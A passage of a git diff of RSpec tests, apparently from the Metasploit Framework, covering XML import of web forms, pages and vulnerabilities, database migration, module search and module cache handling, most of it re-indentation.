web_form_attributes.fetch(:method) + ) + + serialized_params = serialize( + web_form_attributes.fetch(:params) + ) + xml.params(serialized_params) + end + + xml.target! + end + + it 'should be a Hash' do + with_info do |info| + info.should be_a Hash + end + end + + it 'should include :method' do + with_info do |info| + info[:method].should == web_form_attributes[:method] + end + end + + it 'should include :params' do + with_info do |info| + info[:params].should == web_form_attributes[:params] + end + end + end + end + + context 'with required attributes' do + include_context 'DatabaseCleaner' + + let(:element) do + document.root + end + + let(:source) do + xml.web_form do + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_form_attributes.fetch(:method) + ) + xml.path( + web_form_attributes.fetch(:path) + ) + xml.port( + service_attributes.fetch(:port) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebForm' do + expect { + import_msf_web_form_element + }.to change(Mdm::WebForm, :count).by(1) + end + end + end + + context '#import_msf_web_page_element' do + let(:type) do + :page + end + + subject(:import_msf_web_page_element) do + db_manager.import_msf_web_page_element( + element, + options, + &notifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_page do + xml.auth( + web_page_attributes.fetch(:auth) + ) + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + xml.cookie( + web_page_attributes.fetch(:cookie) + ) + xml.ctype( + web_page_attributes.fetch(:ctype) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.location( + web_page_attributes.fetch(:location) + ) + xml.mtime( + web_page_attributes.fetch(:mtime) + ) + end + + xml.target! + end + + it 'should be a Hash' do + db_manager.should_receive(:import_msf_web_element) do |*args, &specialization| + info = specialization.call(element, options) + + info.should be_a Hash + end + + import_msf_web_page_element + end + + it 'should include :auth' do + with_info do |info| + info[:auth].should == web_page_attributes.fetch(:auth) + end + end + + it 'should include :body' do + with_info do |info| + info[:body].should == web_page_attributes.fetch(:body) + end + end + + it 'should include :code' do + with_info do |info| + info[:code].should == web_page_attributes.fetch(:code) + end + end + + it 'should include :cookie' do + with_info do |info| + info[:cookie].should == web_page_attributes.fetch(:cookie) + end + end + + it 'should include :ctype' do + with_info do |info| + info[:ctype].should == web_page_attributes.fetch(:ctype) + end + end + + it 'should include :headers' do + with_info do |info| + info[:headers].should == web_page_attributes.fetch(:headers) + end + end + + it 'should include :location' do + with_info do |info| + info[:location].should == web_page_attributes.fetch(:location) + end + end + + it 'should include :mtime' do + with_info do |info| + info[:mtime].should == web_page_attributes.fetch(:mtime) + end + end + end + end + + context 'with required attributes' do + include_context 'DatabaseCleaner' + + let(:element) do + document.root + end + + let(:source) do + xml.web_page do + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.host( + host_attributes.fetch(:address) + ) + xml.path( + web_page_attributes.fetch(:headers) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.query( + web_page_attributes.fetch(:query) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebPage' do + expect { + import_msf_web_page_element + }.to change(Mdm::WebPage, :count).by(1) + end + end + end + + context '#import_msf_web_vuln_element' do + let(:type) do + :vuln + end + + let(:web_vuln_attributes) do + FactoryGirl.attributes_for(:exported_web_vuln) + end + + subject(:import_msf_web_vuln_element) do + db_manager.import_msf_web_vuln_element( + element, + options, + &notifier + ) + end + + context 'call to #import_msf_web_element' do + it_should_behave_like 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' + + context 'specialization return' do + let(:element) do + document.root + end + + let(:source) do + xml.web_vuln do + xml.blame( + web_vuln_attributes.fetch(:blame) + ) + xml.category( + web_vuln_attributes.fetch(:category) + ) + xml.confidence( + web_vuln_attributes.fetch(:confidence) + ) + xml.description( + web_vuln_attributes.fetch(:description) + ) + xml.method( + web_vuln_attributes.fetch(:method) + ) + xml.name( + web_vuln_attributes.fetch(:name) + ) + xml.pname( + web_vuln_attributes.fetch(:pname) + ) + xml.proof( + web_vuln_attributes.fetch(:proof) + ) + xml.risk( + web_vuln_attributes.fetch(:risk) + ) + end + + xml.target! + end + + it 'should be a Hash' do + with_info do |info| + info.should be_a Hash + end + + import_msf_web_vuln_element + end + + it 'should include :blame' do + with_info do |info| + info[:blame].should == web_vuln_attributes.fetch(:blame) + end + end + + it 'should include :category' do + with_info do |info| + info[:category].should == web_vuln_attributes.fetch(:category) + end + end + + it 'should include :confidence' do + with_info do |info| + info[:confidence].should == web_vuln_attributes.fetch(:confidence) + end + end + + it 'should include :description' do + with_info do |info| + info[:description].should == web_vuln_attributes.fetch(:description) + end + end + + it 'should include :method' do + with_info do |info| + info[:method].should == web_vuln_attributes.fetch(:method) + end + end + + it 'should include :name' do + with_info do |info| + info[:name].should == web_vuln_attributes.fetch(:name) + end + end + + it 'should include :pname' do + with_info do |info| + info[:pname].should == web_vuln_attributes.fetch(:pname) + end + end + + it 'should include :proof' do + with_info do |info| + info[:proof].should == web_vuln_attributes.fetch(:proof) + end + end + + it 'should include :risk' do + with_info do |info| + info[:risk].should == web_vuln_attributes.fetch(:risk) + end + end + end + end + + context 'with required attributes' do + include_context 'DatabaseCleaner' + + let(:element) do + document.root + end + + let(:source) do + xml.web_vuln do + xml.category( + web_vuln_attributes.fetch(:category) + ) + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_vuln_attributes.fetch(:method) + ) + xml.name( + web_vuln_attributes.fetch(:name) + ) + + serialized_params = serialize( + web_vuln_attributes.fetch(:params) + ) + xml.params(serialized_params) + + xml.path( + web_vuln_attributes.fetch(:path) + ) + xml.pname( + web_vuln_attributes.fetch(:pname) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.proof( + web_vuln_attributes.fetch(:proof) + ) + xml.risk( + web_vuln_attributes.fetch(:risk) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + + xml.target! + end + + it 'should create an Mdm::WebVuln' do + expect { + import_msf_web_vuln_element + }.to change(Mdm::WebVuln, :count).by(1) + end + end + end + + context '#import_msf_xml' do + let(:data) do + '<MetasploitV4/>' + end + + subject(:import_msf_xml) do + db_manager.import_msf_xml(:data => data) + end + + it 'should call #check_msf_xml_version!' do + db_manager.should_receive(:check_msf_xml_version!).and_call_original + + import_msf_xml + end + + context 'with web_forms/web_form elements' do + include_context 'DatabaseCleaner' + + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_forms do + xml.web_form do + xml.host( + host_attributes.fetch(:address) + ) + xml.method( + web_form_attributes.fetch(:method) + ) + xml.path( + web_form_attributes.fetch(:path) + ) + xml.port( + service_attributes.fetch(:port) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + it 'should call #import_msf_web_form_element' do + db_manager.should_receive(:import_msf_web_form_element).and_call_original + + import_msf_xml + end + end + + context 'with web_pages/web_page elements' do + include_context 'DatabaseCleaner' + + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_pages do + xml.web_page do + xml.body( + web_page_attributes.fetch(:body) + ) + xml.code( + web_page_attributes.fetch(:code) + ) + + serialized_headers = serialize( + web_page_attributes.fetch(:headers) + ) + xml.headers(serialized_headers) + + xml.host( + host_attributes.fetch(:address) + ) + xml.path( + web_page_attributes.fetch(:headers) + ) + xml.port( + service_attributes.fetch(:port) + ) + xml.query( + web_page_attributes.fetch(:query) + ) + + ssl = false + + if service_attributes[:name] == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + it 'should call #import_msf_web_page_element' do + db_manager.should_receive(:import_msf_web_page_element).and_call_original + + import_msf_xml + end + end + + context 'with web_vulns/web_vuln elements' do + include_context 'DatabaseCleaner' + + let(:data) do + xml.tag!('MetasploitV4') do + xml.web_vulns do + xml.web_vuln do + xml.category(web_vuln.category) + + service = web_vuln.web_site.service + xml.host(service.host.address) + + xml.method(web_vuln.method) + xml.name(web_vuln.name) + + serialized_params = serialize(web_vuln.params) + xml.params(serialized_params) + + xml.path(web_vuln.path) + xml.pname(web_vuln.pname) + xml.port(service.port) + xml.proof(web_vuln.proof) + + ssl = false + + if service.name == 'https' + ssl = true + end + + xml.ssl(ssl) + end + end + end + + xml.target! + end + + let(:web_vuln) do + FactoryGirl.create(:mdm_web_vuln) + end + + it 'should call #import_msf_web_vuln_element' do + db_manager.should_receive(:import_msf_web_vuln_element).and_call_original + + import_msf_xml + end + end + end end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb index 0565291217..017b08d427 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml/check_msf_xml_version_with_root_tag.rb @@ -1,25 +1,25 @@ # -*- coding:binary -*- shared_examples_for 'Msf::DBManager::ImportMsfXml#check_msf_xml_version! with root tag' do |root_tag, options={}| - options.assert_valid_keys(:allow_yaml) - allow_yaml = options.fetch(:allow_yaml) + options.assert_valid_keys(:allow_yaml) + allow_yaml = options.fetch(:allow_yaml) - context "with #{root_tag}" do - let(:root_tag) do - root_tag - end + context "with #{root_tag}" do + let(:root_tag) do + root_tag + end - should_label_by_allow_yaml = { - true => 'should', - false => 'should not' - } - should_label = should_label_by_allow_yaml[allow_yaml] + should_label_by_allow_yaml = { + true => 'should', + false => 'should not' + } + should_label = should_label_by_allow_yaml[allow_yaml] - it "#{should_label} allow YAML" do - expect(metadata[:allow_yaml]).to eq(allow_yaml) - end + it "#{should_label} allow YAML" do + expect(metadata[:allow_yaml]).to eq(allow_yaml) + end - it "should have #{root_tag} as root tag" do - metadata[:root_tag].should == root_tag - end - end + it "should have #{root_tag} as root tag" do + metadata[:root_tag].should == root_tag + end + end end diff --git a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb b/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb index c0e209816b..8ccf5f5573 100644 --- a/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb +++ b/spec/support/shared/examples/msf/db_manager/import_msf_xml/import_msf_web_element_specialization.rb @@ -1,42 +1,42 @@ # -*- coding:binary -*- shared_examples_for 'Msf::DBManager::ImportMsfXml#import_msf_web_element specialization' do - it 'should call #import_msf_web_element with element' do - db_manager.should_receive(:import_msf_web_element).with(element, anything) + it 'should call #import_msf_web_element with element' do + db_manager.should_receive(:import_msf_web_element).with(element, anything) - subject - end + subject + end - it 'should call #import_msf_web_element with :allow_yaml and :workspace' do - db_manager.should_receive(:import_msf_web_element).with( - anything, - hash_including( - :allow_yaml => allow_yaml, - :workspace => workspace - ) - ) + it 'should call #import_msf_web_element with :allow_yaml and :workspace' do + db_manager.should_receive(:import_msf_web_element).with( + anything, + hash_including( + :allow_yaml => allow_yaml, + :workspace => workspace + ) + ) - subject - end + subject + end - it 'should call #import_msf_web_element with :type' do - db_manager.should_receive(:import_msf_web_element).with( - anything, - hash_including( - :type => type - ) - ) + it 'should call #import_msf_web_element with :type' do + db_manager.should_receive(:import_msf_web_element).with( + anything, + hash_including( + :type => type + ) + ) - subject - end + subject + end - it 'should pass block to #import_msf_web_element as :notifier' do - db_manager.should_receive( - :import_msf_web_element - ).with( - anything, - hash_including(:notifier => notifier) - ) + it 'should pass block to #import_msf_web_element as :notifier' do + db_manager.should_receive( + :import_msf_web_element + ).with( + anything, + hash_including(:notifier => notifier) + ) - subject - end + subject + end end diff --git a/spec/support/shared/examples/msf/db_manager/migration.rb b/spec/support/shared/examples/msf/db_manager/migration.rb index 7644295942..1bdcbe44c1 100644 --- a/spec/support/shared/examples/msf/db_manager/migration.rb +++ b/spec/support/shared/examples/msf/db_manager/migration.rb @@ -1,143 +1,143 @@ shared_examples_for 'Msf::DBManager::Migration' do - it { should be_a Msf::DBManager::Migration } + it { should be_a Msf::DBManager::Migration } - context '#migrate' do - def migrate - db_manager.migrate - end + context '#migrate' do + def migrate + db_manager.migrate + end - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice + it 'should create a connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice - migrate - end + migrate + end - it 'should call ActiveRecord::Migrator.migrate' do - ActiveRecord::Migrator.should_receive(:migrate).with( - ActiveRecord::Migrator.migrations_paths - ) + it 'should call ActiveRecord::Migrator.migrate' do + ActiveRecord::Migrator.should_receive(:migrate).with( + ActiveRecord::Migrator.migrations_paths + ) - migrate - end + migrate + end - it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do - migrations = [double('Migration 1')] - ActiveRecord::Migrator.stub(:migrate => migrations) + it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do + migrations = [double('Migration 1')] + ActiveRecord::Migrator.stub(:migrate => migrations) - migrate.should == migrations - end + migrate.should == migrations + end - it 'should reset the column information' do - db_manager.should_receive(:reset_column_information) + it 'should reset the column information' do + db_manager.should_receive(:reset_column_information) - migrate - end + migrate + end - context 'with StandardError from ActiveRecord::Migration.migrate' do - let(:error) do - StandardError.new(message) - end + context 'with StandardError from ActiveRecord::Migration.migrate' do + let(:error) do + StandardError.new(message) + end - let(:message) do - "Error during migration" - end + let(:message) do + "Error during migration" + end - before(:each) do - ActiveRecord::Migrator.stub(:migrate).and_raise(error) - end + before(:each) do + ActiveRecord::Migrator.stub(:migrate).and_raise(error) + end - it 'should set Msf::DBManager#error' do - migrate + it 'should set Msf::DBManager#error' do + migrate - db_manager.error.should == error - end + db_manager.error.should == error + end - it 'should log error message at error level' do - db_manager.should_receive(:elog) do |error_message| - error_message.should include(error.to_s) - end + it 'should log error message at error level' do + db_manager.should_receive(:elog) do |error_message| + error_message.should include(error.to_s) + end - migrate - end + migrate + end - it 'should log error backtrace at debug level' do - db_manager.should_receive(:dlog) do |debug_message| - debug_message.should include('Call stack') - end + it 'should log error backtrace at debug level' do + db_manager.should_receive(:dlog) do |debug_message| + debug_message.should include('Call stack') + end - migrate - end - end + migrate + end + end - context 'with verbose' do - def migrate - db_manager.migrate(verbose) - end + context 'with verbose' do + def migrate + db_manager.migrate(verbose) + end - context 'false' do - let(:verbose) do - false - end + context 'false' do + let(:verbose) do + false + end - it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + it 'should set ActiveRecord::Migration.verbose to false' do + ActiveRecord::Migration.should_receive(:verbose=).with(verbose) - migrate - end - end + migrate + end + end - context 'true' do - let(:verbose) do - true - end + context 'true' do + let(:verbose) do + true + end - it 'should set ActiveRecord::Migration.verbose to true' do - ActiveRecord::Migration.should_receive(:verbose=).with(verbose) + it 'should set ActiveRecord::Migration.verbose to true' do + ActiveRecord::Migration.should_receive(:verbose=).with(verbose) - migrate - end - end - end + migrate + end + end + end - context 'without verbose' do - it 'should set ActiveRecord::Migration.verbose to false' do - ActiveRecord::Migration.should_receive(:verbose=).with(false) + context 'without verbose' do + it 'should set ActiveRecord::Migration.verbose to false' do + ActiveRecord::Migration.should_receive(:verbose=).with(false) - db_manager.migrate - end - end - end + db_manager.migrate + end + end + end - context '#migrated' do - it { should respond_to :migrated } - it { should respond_to :migrated= } - end + context '#migrated' do + it { should respond_to :migrated } + it { should respond_to :migrated= } + end - context '#reset_column_information' do - def reset_column_information - db_manager.send(:reset_column_information) - end + context '#reset_column_information' do + def reset_column_information + db_manager.send(:reset_column_information) + end - it 'should use ActiveRecord::Base.descendants to find both direct and indirect subclasses' do - ActiveRecord::Base.should_receive(:descendants).and_return([]) + it 'should use ActiveRecord::Base.descendants to find both direct and indirect subclasses' do + ActiveRecord::Base.should_receive(:descendants).and_return([]) - reset_column_information - end + reset_column_information + end - it 'should reset column information on each descendant of ActiveRecord::Base' do - descendants = [] + it 'should reset column information on each descendant of ActiveRecord::Base' do + descendants = [] - 1.upto(2) do |i| - descendants << double("Descendant #{i}") - end + 1.upto(2) do |i| + descendants << double("Descendant #{i}") + end - ActiveRecord::Base.stub(:descendants => descendants) + ActiveRecord::Base.stub(:descendants => descendants) - descendants.each do |descendant| - descendant.should_receive(:reset_column_information) - end + descendants.each do |descendant| + descendant.should_receive(:reset_column_information) + end - reset_column_information - end - end + reset_column_information + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb index f2580dee0e..72fbe69f84 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_platform_name_or_mdm_module_target_name_keyword.rb @@ -1,49 +1,49 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword' do |keyword| - context "with #{keyword} keyword" do - let(:search_string) do - "#{keyword}:#{name}" - end + context "with #{keyword} keyword" do + let(:search_string) do + "#{keyword}:#{name}" + end - let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) - end + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end - let!(:module_target) do - FactoryGirl.create(:mdm_module_target) - end + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end - context 'with Mdm::Module::Platform#name' do - let(:name) do - # use inspect to quote spaces in string - module_platform.name.inspect - end + context 'with Mdm::Module::Platform#name' do + let(:name) do + # use inspect to quote spaces in string + module_platform.name.inspect + end - it 'should find matching Mdm::Module::Platform#name' do - module_details.count.should > 0 + it 'should find matching Mdm::Module::Platform#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == self.module_platform.name - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == self.module_platform.name + } + }.should be_true + end + end - context 'with Mdm::Module::Target#name' do - let(:name) do + context 'with Mdm::Module::Target#name' do + let(:name) do # use inspect to quote spaces in string - module_target.name.inspect - end + module_target.name.inspect + end - it 'should find matching Mdm::Module::Target#name' do - module_details.count.should > 0 + it 'should find matching Mdm::Module::Target#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == self.module_target.name - } - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == self.module_target.name + } + }.should be_true + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb index c4dbc7dbe8..7c9edb2002 100644 --- a/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb +++ b/spec/support/shared/examples/msf/db_manager/search_modules/mdm_module_ref_name_keyword.rb @@ -1,44 +1,44 @@ shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword' do |keyword| - context "with #{keyword} keyword" do - let(keyword) do - 1 - end + context "with #{keyword} keyword" do + let(keyword) do + 1 + end - let(:name) do - FactoryGirl.generate :mdm_module_ref_name - end + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end - let(:search_string) do - "#{keyword}:#{send(keyword)}" - end + let(:search_string) do + "#{keyword}:#{send(keyword)}" + end - before(:each) do - FactoryGirl.create(:mdm_module_ref, :name => name) - end + before(:each) do + FactoryGirl.create(:mdm_module_ref, :name => name) + end - name_prefix = "#{keyword.to_s.upcase}-" - context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}" + name_prefix = "#{keyword.to_s.upcase}-" + context_suffix = "Mdm::Module::Ref#name starting with #{name_prefix.inspect}" - context "with #{context_suffix}" do - let(:name) do - "#{name_prefix}#{send(keyword)}" - end + context "with #{context_suffix}" do + let(:name) do + "#{name_prefix}#{send(keyword)}" + end - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == name - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == name + } + }.should be_true + end + end - context "without #{context_suffix}" do - it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 - end - end - end + context "without #{context_suffix}" do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb index 885b22beb9..8e682b0298 100644 --- a/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb +++ b/spec/support/shared/examples/msf/db_manager/update_all_module_details_refresh.rb @@ -1,60 +1,60 @@ shared_examples_for 'Msf::DBManager#update_all_module_details refresh' do - it 'should destroy Mdm::Module::Detail' do - expect { - update_all_module_details - }.to change(Mdm::Module::Detail, :count).by(-1) - end + it 'should destroy Mdm::Module::Detail' do + expect { + update_all_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end - context 'with cached module in Msf::ModuleSet' do - let(:module_set) do - framework.exploits - end + context 'with cached module in Msf::ModuleSet' do + let(:module_set) do + framework.exploits + end - before(:each) do - module_set[module_detail.refname] = Msf::SymbolicModule + before(:each) do + module_set[module_detail.refname] = Msf::SymbolicModule - framework.modules.send(:module_info_by_path)[module_detail.file] = { - :parent_path => Metasploit::Framework.root.join('modules').to_path, - :reference_name => module_detail.refname, - :type => type - } - end + framework.modules.send(:module_info_by_path)[module_detail.file] = { + :parent_path => Metasploit::Framework.root.join('modules').to_path, + :reference_name => module_detail.refname, + :type => type + } + end - it 'should create instance of module corresponding to Mdm::Module::Detail' do - module_set.should_receive(:create).with(module_detail.refname) + it 'should create instance of module corresponding to Mdm::Module::Detail' do + module_set.should_receive(:create).with(module_detail.refname) - update_all_module_details - end + update_all_module_details + end - it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do - db_manager.should_receive(:update_module_details) do |module_instance| - module_instance.should be_a Msf::Module - module_instance.type.should == module_detail.mtype - module_instance.refname.should == module_detail.refname - end + it 'should call update_module_details to create a new Mdm::Module::Detail from the module instance returned by create' do + db_manager.should_receive(:update_module_details) do |module_instance| + module_instance.should be_a Msf::Module + module_instance.type.should == module_detail.mtype + module_instance.refname.should == module_detail.refname + end - update_all_module_details - end + update_all_module_details + end - context 'with exception raised by #update_module_details' do - before(:each) do - db_manager.stub(:update_module_details).and_raise(Exception) - end + context 'with exception raised by #update_module_details' do + before(:each) do + db_manager.stub(:update_module_details).and_raise(Exception) + end - it 'should log error' do - db_manager.should_receive(:elog) + it 'should log error' do + db_manager.should_receive(:elog) - update_all_module_details - end - end - end + update_all_module_details + end + end + end - context 'without cached module in Msf::ModuleSet' do - it 'should not call update_module_details' do - db_manager.should_not_receive(:update_module_details) + context 'without cached module in Msf::ModuleSet' do + it 'should not call update_module_details' do + db_manager.should_not_receive(:update_module_details) - update_all_module_details - end - end + update_all_module_details + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb index b46aa04f1f..adc5887f25 100644 --- a/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb +++ b/spec/support/shared/examples/msf/db_manager/update_module_details_with_module_type.rb @@ -1,26 +1,26 @@ shared_examples_for 'Msf::DBManager#update_module_details with module' do |options={}| - options.assert_valid_keys(:reference_name, :type) + options.assert_valid_keys(:reference_name, :type) - reference_name = options.fetch(:reference_name) - type = options.fetch(:type) + reference_name = options.fetch(:reference_name) + type = options.fetch(:type) - context "with #{type.inspect}" do - let(:module_reference_name) do - reference_name - end + context "with #{type.inspect}" do + let(:module_reference_name) do + reference_name + end - let(:module_type) do - type - end + let(:module_type) do + type + end - it "should use module_instance with #{type.inspect} type" do - module_instance.type.should == type - end + it "should use module_instance with #{type.inspect} type" do + module_instance.type.should == type + end - it 'should not raise error' do - expect { - update_module_details - }.to_not raise_error - end - end + it 'should not raise error' do + expect { + update_module_details + }.to_not raise_error + end + end end \ No newline at end of file diff --git a/spec/support/shared/examples/msf/module_manager/cache.rb b/spec/support/shared/examples/msf/module_manager/cache.rb index 189474d047..495ca3e2e6 100644 --- a/spec/support/shared/examples/msf/module_manager/cache.rb +++ b/spec/support/shared/examples/msf/module_manager/cache.rb @@ -1,480 +1,480 @@ shared_examples_for 'Msf::ModuleManager::Cache' do - let(:parent_path) do - parent_pathname.to_path - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - 'exploit' - end - - let(:path) do - pathname.to_path - end - - let(:pathname) do - parent_pathname.join( - 'exploits', - "#{reference_name}.rb" - ) - end - - let(:pathname_modification_time) do - pathname.mtime - end - - context '#cache_empty?' do - subject(:cache_empty?) do - module_manager.cache_empty? - end - - before(:each) do - module_manager.send(:module_info_by_path=, module_info_by_path) - end - - context 'with empty' do - let(:module_info_by_path) do - {} - end - - it { should be_true } - end - - context 'without empty' do - let(:module_info_by_path) do - { - 'path/to/module' => {} - } - end - - it { should be_false } - end - end - - context '#cache_in_memory' do - def cache_in_memory - module_manager.cache_in_memory( - class_or_module, - :path => path, - :reference_name => reference_name, - :type => type - ) - end - - def module_info_by_path - module_manager.send(:module_info_by_path) - end - - let(:class_or_module) do - double('Class<Msf::Module> or Module', :parent => namespace_module) - end - - let(:namespace_module) do - double('Msf::Modules::Namespace', :parent_path => parent_path) - end - - context 'with existing :path' do - it 'should update module_info_by_path' do - expect { - cache_in_memory - }.to change { module_info_by_path } - end - - context 'module_info_by_path' do - subject(:module_info_by_path) do - module_manager.send(:module_info_by_path) - end - - before(:each) do - cache_in_memory - end - - it 'should have entry for path' do - module_info_by_path[path].should be_a Hash - end - - context 'value' do - subject(:value) do - module_info_by_path[path] - end - - it 'should have modification time of :path option for :modification_time' do - value[:modification_time].should == pathname_modification_time - end - - it 'should have parent path from namespace module for :parent_path' do - value[:parent_path].should == namespace_module.parent_path - end - - it 'should use :reference_name option' do - value[:reference_name].should == reference_name - end - - it 'should use :type option' do - value[:type].should == type - end - end - end - end - - context 'without existing :path' do - let(:path) do - 'non/existent/path' - end - - it 'should not raise error' do - expect { - cache_in_memory - }.to_not raise_error - end - - it 'should not update module_info_by_path' do - expect { - cache_in_memory - }.to_not change { module_info_by_path } - end - end - end - - context '#load_cached_module' do - subject(:load_cached_module) do - module_manager.load_cached_module(type, reference_name) - end - - before(:each) do - module_manager.send(:module_info_by_path=, module_info_by_path) - end - - context 'with module info in cache' do - let(:module_info_by_path) do - { - 'path/to/module' => { - :parent_path => parent_path, - :reference_name => reference_name, - :type => type - } - } - end - - it 'should enumerate loaders until if it find the one where loadable?(parent_path) is true' do - module_manager.send(:loaders).each do |loader| - loader.should_receive(:loadable?).with(parent_path).and_call_original - end - - load_cached_module - end - - it 'should force load using #load_module on the loader' do - Msf::Modules::Loader::Directory.any_instance.should_receive( - :load_module - ).with( - parent_path, - type, - reference_name, - :force => true - ).and_call_original - - load_cached_module - end - - context 'return from load_module' do - before(:each) do - module_manager.send(:loaders).each do |loader| - loader.stub(:load_module => module_loaded) - end - end - - context 'with false' do - let(:module_loaded) do - false - end - - it { should be_false } - end - - context 'with true' do - let(:module_loaded) do - true - end - - it { should be_true } - end - end - end - - context 'without module info in cache' do - let(:module_info_by_path) do - {} - end - - it { should be_false } - end - end - - context '#refresh_cache_from_module_files' do - before(:each) do - module_manager.stub(:framework_migrated? => framework_migrated?) - end - - context 'with framework migrated' do - let(:framework_migrated?) do - true - end - - context 'with module argument' do - def refresh_cache_from_module_files - module_manager.refresh_cache_from_module_files(module_class_or_instance) - end - - let(:module_class_or_instance) do - Class.new(Msf::Module) - end - - it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do - framework.db.should_receive(:update_module_details).with(module_class_or_instance).ordered - module_manager.should_receive(:refresh_cache_from_database).ordered - - refresh_cache_from_module_files - end - end - - context 'without module argument' do - def refresh_cache_from_module_files - module_manager.refresh_cache_from_module_files - end - - it 'should update database and then update in-memory cache from the database for all modules' do - framework.db.should_receive(:update_all_module_details).ordered - module_manager.should_receive(:refresh_cache_from_database) - - refresh_cache_from_module_files - end - end - end - - context 'without framework migrated' do - def refresh_cache_from_module_files - module_manager.refresh_cache_from_module_files - end - - let(:framework_migrated?) do - false - end - - it 'should not call Msf::DBManager#update_module_details' do - framework.db.should_not_receive(:update_module_details) - - refresh_cache_from_module_files - end - - it 'should not call Msf::DBManager#update_all_module_details' do - framework.db.should_not_receive(:update_all_module_details) - - refresh_cache_from_module_files - end - - it 'should not call #refresh_cache_from_database' do - module_manager.should_not_receive(:refresh_cache_from_database) - - refresh_cache_from_module_files - end - end - end - - context '#refresh_cache_from_database' do - def refresh_cache_from_database - module_manager.refresh_cache_from_database - end - - it 'should call #module_info_by_path_from_database!' do - module_manager.should_receive(:module_info_by_path_from_database!) - - refresh_cache_from_database - end - end - - context '#framework_migrated?' do - subject(:framework_migrated?) do - module_manager.send(:framework_migrated?) - end - - context 'with framework database' do - before(:each) do - 